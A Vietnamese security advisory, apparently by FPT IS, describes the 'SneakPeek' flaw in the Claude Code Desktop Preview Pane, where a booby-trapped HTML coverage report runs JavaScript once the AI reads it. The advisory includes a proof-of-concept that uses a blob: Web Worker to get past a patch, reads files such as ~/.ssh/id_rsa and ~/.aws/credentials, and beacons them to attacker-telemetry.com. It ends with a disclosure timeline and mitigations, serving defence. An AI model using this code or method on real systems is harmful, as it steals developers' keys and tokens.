# SneakPeek: Lỗ hổng Zero-Click trên Claude Code Desktop

---

> **Tóm tắt nhanh**: Đội ngũ phát triển của Anthropic vừa công nhận một lỗi hổng nghiêm trọng nhắm vào tính năng Preview Pane của Claude Code Desktop. Được Anthropic chấm điểm **CVSS v4.0: 8.7 (High)** với tác động tương đương thực thi mã tùy ý, lỗ hổng cho phép kẻ tấn công chiếm toàn bộ SSH key, thông tin định danh AWS, GitHub token và OAuth session token của lập trình viên chỉ thông qua việc yêu cầu Claude mở một tệp báo cáo kiểm thử bình thường, không đòi hỏi bất kỳ cú nhấp chuột hay phê duyệt quyền nào từ người dùng.

---

## Tóm tắt tổng quan

Lỗ hổng SneakPeek trên ứng dụng Claude Code Desktop cho phép kẻ tấn công đọc và trích xuất ngầm toàn bộ dữ liệu trên hệ thống tệp của lập trình viên thông qua cơ chế hiển thị tài liệu tự động (Preview Pane). Rủi ro không bắt nguồn từ một lỗi tràn bộ nhớ truyền thống, mà từ sự kết hợp của 3 khiếm khuyết logic trong kiến trúc Electron: phân nhánh xử lý tệp theo dung lượng, thiếu hụt chính sách Content Security Policy (CSP) trên luồng tải cục bộ, và bộ lọc yêu cầu mạng bị vô hiệu hóa khi xử lý tệp tĩnh.

Mức độ ảnh hưởng bao trùm các kỹ sư phần mềm, nhóm vận hành hạ tầng DevOps và chuyên gia bảo mật sử dụng Claude Desktop trên máy trạm. Chỉ cần nạn nhân đưa một dự án mã nguồn mở chứa tệp HTML bị gài bẫy (như báo cáo test coverage) và nhờ Claude hỗ trợ phân tích, mã độc JavaScript sẽ tự kích hoạt ngay khi cửa sổ preview mở ra, đánh cắp các khóa SSH, thông tin đăng nhập AWS, token truy cập GitHub và OAuth session.

**Hành động quan trọng nhất cần làm ngay:** Xác minh Claude Desktop đã tự động cập nhật lên phiên bản từ **1.30096.1** trở lên. Nếu nhóm phát triển từng mở các kho mã nguồn bên thứ ba chưa qua kiểm duyệt trong giai đoạn tháng 7 đến tháng 8/2026, cần chủ động thu hồi và cấp lại (rotate) các SSH key, API key và credential lưu cục bộ trên máy trạm.

---

## Bối cảnh kỹ thuật

- **Mã định danh:** SneakPeek (GitHub Advisory và mã CVE chính thức đang chờ NVD công bố sau quá trình điều phối).
- **Mức độ nghiêm trọng:** CVSS v4.0: **8.7 (High)** — do chính đội ngũ an ninh của Anthropic đánh giá và xếp loại tương đương với tác động Remote Code Execution (RCE) trên thiết bị trạm.
- **Phân loại lỗi:** CWE-79 (Improper Neutralization of Input During Web Page Generation), CWE-59 (Improper Link Resolution Before File Access), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor).
- **Nền tảng ảnh hưởng:** Claude Code Desktop chạy trên môi trường Electron (Windows, macOS, Linux) trước bản vá 1.30096.1.
- **Điều kiện khai thác:** Nạn nhân mở một dự án chứa tệp HTML độc hại và đưa ra câu hỏi/prompt khiến Claude đọc tệp. Không yêu cầu đặc quyền quản trị viên, không hiển thị pop-up cảnh báo quyền.

![](https://cdn.hashnode.com/uploads/covers/669e2c7992d73f3fd8335153/97013e0d-9cb3-4145-86ac-14b31654b7a0.png align="center")

*Hình 1: Đánh giá phân loại mức độ rủi ro CVSS 8.7 từ hệ thống phản hồi bảo mật của Anthropic*

---

## Sơ đồ chuỗi tấn công SneakPeek

Luồng khai thác diễn ra hoàn toàn âm thầm từ thời điểm lập trình viên đưa câu lệnh prompt tới khi dữ liệu nhạy cảm được gửi về máy chủ bên ngoài:

![](https://cdn.hashnode.com/uploads/covers/669e2c7992d73f3fd8335153/56e168ae-92c3-4689-bb88-925677fc2766.png align="center")

*Hình 2: Chuỗi 5 bước khai thác của lỗ hổng SneakPeek đánh sập 3 lớp bảo vệ của Claude Desktop*

## Phân tích kỹ thuật chuyên sâu

### Bản chất thành phần Preview Pane

Trong Claude Code Desktop, Preview Pane đóng vai trò một renderer trực quan nhúng trong giao diện ứng dụng. Khi Claude đọc hoặc tạo mới các tệp giao diện như HTML, SVG hoặc Markdown, ứng dụng tự động hiển thị bản xem trước tại một panel phụ để người dùng không phải chuyển sang trình duyệt web ngoài.

Do Claude Desktop được xây dựng trên framework Electron, Preview Pane thực chất là một phiên bản trình duyệt Chromium thu nhỏ. Để bảo vệ máy trạm khỏi các tệp mã độc, kiến trúc của Anthropic trang bị 3 lớp phòng vệ độc lập:

1. **Content Security Policy (CSP):** Thiết lập `script-src 'none'` nhằm vô hiệu hóa toàn bộ thẻ `<script>` và mã JavaScript nội dòng.
2. **Origin Isolation:** Tải nội dung qua lược đồ `data:` URL để tạo một origin đục (opaque origin), ngăn cách trang hiển thị với hệ thống tệp đĩa cứng.
3. **Request Filter:** Bộ chặn yêu cầu mạng tích hợp trên dev-server proxy nhằm phát hiện và ngăn cản các truy vấn gọi ngược vào tài nguyên nội bộ từ renderer.

Nhà nghiên cứu Eli Ainhorn từ Noma Labs phát hiện rằng cả 3 tầng phòng thủ trên đều sụp đổ khi xử lý các tệp tin vượt qua một ngưỡng dung lượng định sẵn.

#### Khiếm khuyết 1: Ngưỡng 256KB và cơ chế nạp file://

Claude Code Desktop phân tách logic hiển thị tệp HTML dựa trên kích thước:

- Tệp **dưới 256KB**: Nạp qua `data:` URL. Chuỗi base64 nạp vào bộ nhớ giữ nguyên opaque origin, ngăn cản việc truy cập tệp lân cận.
- Tệp **trên 256KB**: Do giới hạn chiều dài URL của Chromium, ứng dụng ghi nội dung ra một tệp tạm trên đĩa (temporary file) và gọi nạp qua lược đồ `file://`.

Trong cơ chế cùng nguồn (Same-Origin Policy) của Chromium đối với lược đồ tệp, một trang chạy dưới ngữ cảnh `file://` có thể truy cập các tài nguyên cục bộ khác trên cùng hệ thống tệp nếu không bị kiểm soát chặt chẽ.

#### Khiếm khuyết 2: CSP bị bỏ quên trên nhánh file://

Chính sách bảo mật CSP (`script-src 'none'`) chỉ được gán cứng vào luồng xử lý `data:` URL. Khi ứng dụng chuyển hướng sang nạp tệp qua giao thức `file://` đối với tệp nặng hơn 256KB, header hoặc thẻ meta CSP hoàn toàn không được tiêm vào trang. Mã JavaScript nhúng trong tệp HTML kích thước lớn được trình thông dịch Chromium thực thi đầy đủ.

#### Khiếm khuyết 3: Request Filter vô hiệu hóa với tệp tĩnh

Bộ lọc request filter của Claude Desktop được thiết kế để chặn các yêu cầu đọc `file://` phát sinh từ renderer. Tuy nhiên, bộ lọc này chỉ được kích hoạt khi preview pane đóng vai trò làm proxy cho một dev server đang chạy (chẳng hạn ứng dụng React hay Express cục bộ).

Khi người dùng yêu cầu Claude mở một tệp HTML tĩnh từ đĩa (ví dụ như một tệp test coverage report hay tài liệu API ngoại tuyến), preview pane render tệp trực tiếp từ ổ cứng mà không qua dev server proxy. Kết quả là request filter hoàn toàn không can thiệp, biến mọi lệnh gọi `fetch()` trở thành các truy vấn hợp lệ truy xuất trực tiếp vào hệ thống tệp cục bộ của nạn nhân.

### Kịch bản đánh cắp dữ liệu qua sendBeacon

Để ngụy trang cho payload vượt ngưỡng 256KB mà không gây chú ý, kẻ tấn công đóng gói mã độc vào các tệp báo cáo độ bao phủ mã nguồn (coverage report). Các tệp này trong thực tế thường chứa mã nguồn nhúng, bảng style CSS và sourcemap nên kích thước vài trăm kilobyte đến hàng megabyte là hoàn toàn tự nhiên.

Quy trình tấn công diễn ra như sau:

1. Kẻ tấn công tạo kho mã công khai trên GitHub, đính kèm tệp coverage report > 256KB đã được chèn mã khai thác.
2. Lập trình viên clone dự án về máy trạm và dùng Claude Desktop với câu lệnh: *"Phân tích các hàm chưa có unit test trong tệp coverage này giúp tôi"*.
3. Claude đọc tệp, kích hoạt Preview Pane tự động render.
4. Đoạn mã JavaScript tìm ra đường dẫn thư mục gốc (`$HOME` hoặc `%USERPROFILE%`) thông qua việc trích xuất đường dẫn tệp tạm thời mà Electron tạo ra trên đĩa.
5. Mã khai thác thực hiện hàng loạt truy vấn đọc tệp nhạy cảm:
   - Khóa bí mật SSH: `~/.ssh/id_rsa`, `~/.ssh/id_ed25519`
   - Thông tin đám mây: `~/.aws/credentials`, `~/.aws/config`
   - Token lập trình: `~/.npmrc`, `~/.gitconfig`
   - Cấu hình hạ tầng: `~/.kube/config`, `~/.docker/config.json`
   - Dữ liệu định danh Claude: `~/.claude.json` và session token OAuth
6. Dữ liệu trộm cắp được đóng gói và gửi ngầm về máy chủ tấn công thông qua Web API `navigator.sendBeacon()`. API này bắn gói tin HTTP POST một chiều chạy nền ngay cả khi panel bị đóng lại, hoàn toàn không bị chặn bởi Claude Desktop do thiếu chính sách hạn chế kết nối ra ngoài (connect-src CSP).

---

## Kỹ thuật vượt qua bản vá đầu tiên (Patch Bypass)

Sau khi tiếp nhận báo cáo từ Noma Labs vào đầu tháng 7/2026, Anthropic đã triển khai bản vá đầu tiên vào ngày 24/07/2026. Hướng khắc phục ban đầu của đội ngũ phát triển là vá chặn các lệnh gọi `fetch()` và `XMLHttpRequest` trỏ tới giao thức `file://` từ ngữ cảnh trang chính (main page context).

Tuy nhiên, nhóm nghiên cứu đã tìm ra kỹ thuật bypass ngay trong ngày bằng cách chuyển ngữ cảnh thực thi vào một **Web Worker** khởi tạo từ `blob:` **URL**.

```javascript
// Mã PoC của Noma Labs minh hoạ kỹ thuật Worker Bypass
const workerCode = `
  self.onmessage = async function(e) {
    for (const target of e.data) {
      try {
        // Lệnh fetch trong Worker vượt qua bộ lọc của trang chính
        const r = await fetch('file://' + target.path);
        if (r.ok) {
          const text = await r.text();
          // Chuyển dữ liệu đã đọc về thread chính để đẩy ra ngoài
          self.postMessage({tag: target.tag, data: text});
        }
      } catch(e) {}
    }
  };
`;

// Khởi tạo Worker từ blob: URL tạo ra một execution context biệt lập
const blob = new Blob([workerCode], {type: 'application/javascript'});
const worker = new Worker(URL.createObjectURL(blob));

// Gửi danh sách các file mục tiêu vào Worker
worker.postMessage([
  {tag: 'ssh', path: '/Users/victim/.ssh/id_rsa'},
  {tag: 'aws', path: '/Users/victim/.aws/credentials'},
  {tag: 'claude', path: '/Users/victim/.claude.json'}
]);

worker.onmessage = function(e) {
  // Exfiltration qua API sendBeacon ngầm
  navigator.sendBeacon('https://attacker-telemetry.com/collect', JSON.stringify(e.data));
};
```

Do Web Worker chạy trong một tiểu trình riêng biệt với global scope độc lập, bộ chặn request filter gắn ở renderer chính không can thiệp được vào các lệnh gọi `fetch()` bên trong Worker. Sau khi Worker đọc thành công các tệp bí mật, nó đẩy dữ liệu về luồng chính thông qua sự kiện `postMessage()`, và luồng chính gọi `navigator.sendBeacon()` để chuyển dữ liệu ra internet.

![](https://cdn.hashnode.com/uploads/covers/669e2c7992d73f3fd8335153/fae4d3ce-52b1-40f0-aa3c-208e9b461824.png align="center")

*Hình 3: Email xác nhận từ Anthropic Security thừa nhận bản vá chưa triệt để và đưa báo cáo trở lại trạng thái xử lý kiến trúc chuyên sâu.*

Nhận thấy bản vá đầu tiên mang tính chắp vá, Anthropic đã thu hồi bản sửa đổi, tái cấu trúc lại toàn bộ cơ chế render: áp dụng CSP nghiêm ngặt cho mọi giao thức nạp tệp, cô lập hoàn toàn môi trường Worker và loại bỏ cơ chế nạp trực tiếp `file://` không kiểm soát. Phiên bản vá hoàn thiện 1.30096.1 được phát hành tự động tới người dùng vào ngày 17/08/2026.

---

## Dòng thời gian công bố trách nhiệm

Quá trình phối hợp xử lý giữa Noma Labs và Anthropic diễn ra nhanh chóng, tuân thủ nguyên tắc công bố có trách nhiệm (Responsible Disclosure):

| Thời điểm | Sự kiện |
| --- | --- |
| **04/07/2026** | Noma Labs gửi báo cáo ban đầu kèm mã PoC chứng minh khả năng đánh cắp thông tin đăng nhập qua Preview Pane. |
| **09/07/2026** | Anthropic xác nhận báo cáo hợp lệ, chấm điểm nghiêm trọng CVSS 8.7 (High). |
| **24/07/2026** | Anthropic phát hành bản vá lần 1 và mời Noma Labs kiểm thử lại (retest). |
| **24/07/2026** | Noma Labs báo cáo kỹ thuật bypass sử dụng Web Worker qua `blob:` URL kèm video chứng minh. |
| **03/08/2026** | Anthropic xác nhận bản vá chưa hoàn chỉnh, đưa báo cáo về trạng thái Triaged để thiết kế lại kiến trúc bảo mật. |
| **17/08/2026** | Bản cập nhật Claude Desktop 1.30096.1 phát hành chính thức qua cơ chế tự động nâng cấp. |
| **14/10/2026** | Noma Labs và Dark Reading đồng loạt công bố chi tiết kỹ thuật sau 60 ngày ân hạn để người dùng hoàn tất cập nhật. |

---

## Bảng ánh xạ MITRE ATT&CK

| Tactic | Technique ID | Tên kỹ thuật | Mô tả hành vi trong SneakPeek |
| --- | --- | --- | --- |
| **Initial Access** | T1189 | Drive-by Compromise | Lợi dụng tệp HTML độc hại nạp tự động qua Preview Pane của Claude Desktop |
| **Execution** | T1059.007 | JavaScript | Thực thi JavaScript không bị kiểm soát trong engine Chromium của ứng dụng Electron |
| **Defense Evasion** | T1027 | Obfuscated Files or Information | Đệm tệp HTML vượt ngưỡng 256KB ngụy trang dưới dạng báo cáo kiểm thử |
| **Defense Evasion** | T1564 | Hide Artifacts | Khởi tạo Web Worker từ `blob:` URL để né tránh bộ lọc request filter |
| **Credential Access** | T1552.001 | Credentials in Files | Đọc trộm khóa SSH, AWS credentials, npm token, GitHub auth từ thư mục người dùng |
| **Collection** | T1005 | Data from Local System | Truy quét cấu hình Kubernetes, cấu hình Docker và OAuth session token |
| **Exfiltration** | T1041 | Exfiltration Over C2 Channel | Sử dụng `navigator.sendBeacon()` đẩy dữ liệu ra máy chủ ngoại vi ngầm |

---

## Nhận định chuyên gia FPT IS

Điểm CVSS v4.0 đạt 8.7 phản ánh chính xác rủi ro của SneakPeek. Mặc dù lỗ hổng không trực tiếp cung cấp một reverse shell tương tác ngay lập tức, nhưng việc trích xuất được SSH private keys, AWS tokens và OAuth session đồng nghĩa với việc ranh giới an ninh của toàn bộ hạ tầng đám mây và hệ thống nội bộ doanh nghiệp đã bị xuyên thủng.

Tại Việt Nam, làn sóng áp dụng các công cụ AI hỗ trợ lập trình (AI Coding Assistants) như Claude Desktop, Cursor, Copilot bùng nổ mạnh mẽ trong 2 năm qua ở hầu hết các công ty công nghệ, ngân hàng và doanh nghiệp viễn thông. Phần lớn lập trình viên thường thiết lập cấu hình với sự tin tưởng mặc định cao: lưu trữ plaintext credential của môi trường Dev/Staging (thậm chí Production) ngay trong thư mục home để tiện làm việc. Khi lập trình viên tải một thư viện mã nguồn mở bên ngoài về để nghiên cứu và nhờ AI tóm tắt hoặc đánh giá, rào cản an ninh truyền thống tại gateway hoàn toàn bị vô hiệu hóa vì yêu cầu xuất phát từ chính người dùng nội bộ.

Vụ việc SneakPeek một lần nữa khẳng định xu hướng tấn công chuỗi cung ứng nhắm vào máy trạm của lập trình viên (Developer Endpoint as Gateway). Kẻ tấn công không cần tốn chi phí tấn công trực diện vào tường lửa hay máy chủ đám mây kiên cố, mà nhắm vào những lỗ hổng logic trên các tiện ích lập trình mới nổi. Những bài học tương tự từ các lỗ hổng Workspace Trust trên VS Code trước đây cho thấy: chừng nào các công cụ AI còn chạy trực tiếp trên máy host với quyền hạn ngang hàng với người dùng, các kỹ thuật khai thác zero-click thông qua ngữ cảnh dữ liệu (context-driven execution) sẽ còn tiếp tục xuất hiện.

---

## Khuyến nghị phòng thủ

### Biện pháp cấp bách (0–24 giờ)

- **Kiểm tra và nâng cấp:** Xác định toàn bộ máy trạm sử dụng Claude Desktop trong mạng nội bộ đã được cập nhật tối thiểu lên phiên bản **1.30096.1**. Bật chế độ tự động cập nhật nếu tính năng này đang bị vô hiệu hóa bởi chính sách cục bộ.
- **Rà soát kho lưu trữ:** Nếu có thành viên trong nhóm từng mở các repository công khai lạ và nhờ Claude phân tích tệp HTML/coverage report trong khoảng thời gian trước 17/08/2026, cần cô lập máy trạm để điều tra nhật ký.

### Biện pháp ngắn hạn (1–7 ngày)

- **Xoay vòng thông tin xác thực (Credential Rotation):** Thực hiện thay mới toàn bộ các SSH key, GitHub Personal Access Token và AWS Access Key được tạo hoặc lưu trữ trên các máy trạm có cài đặt Claude Desktop trước thời điểm vá lỗi.
- **Giám sát kết nối mạng từ máy Dev:** Cấu hình hệ thống EDR và Network Proxy giám sát chặt chẽ các kết nối outbound xuất phát từ các tiến trình IDE hoặc AI Desktop client tới các địa chỉ IP bên ngoài không nằm trong danh mục tên miền chính thức của nhà cung cấp.

### Biện pháp dài hạn

- **Cô lập môi trường phát triển (Dev Environment Isolation):** Triển khai mô hình phát triển phần mềm trong môi trường cách ly (như Docker Dev Containers hoặc Cloud Dev Environments). Không lưu trữ các private key, token production trực tiếp tại thư mục `$HOME` của máy trạm cá nhân.
- **Quản lý bí mật tập trung (Secrets Management):** Sử dụng các công cụ quản lý khóa truy cập dựa trên session ngắn hạn (như AWS IAM Identity Center / SSO, HashiCorp Vault, 1Password CLI) thay vì lưu trữ static credential dài hạn trên ổ đĩa.
- **Đánh giá rủi ro công cụ AI:** Xây dựng quy trình kiểm soát việc cài đặt và cấp quyền cho các ứng dụng AI agent trên máy tính nhân sự, đảm bảo mọi luồng dữ liệu do AI xử lý đều tuân thủ nguyên tắc Least Privilege.

---

## Tài liệu tham khảo

1. **Noma Labs**: *SneakPeek: How the Preview Pane in Claude Code Desktop Can Exfiltrate Your Data*, Eli Ainhorn (14/10/2026).
2. **Dark Reading**: *Anthropic 'SneakPeek' Flaw Is a Silent Zero-Click Threat*, Becky Bracken (10/2026).
3. **Anthropic Trust & Safety**: *Claude Desktop Security Bulletins & Auto-Update Advisory* (17/08/2026).
4. **MITRE ATT&CK Framework**: *Enterprise Matrix v15 - Supply Chain Compromise & Web Execution*.
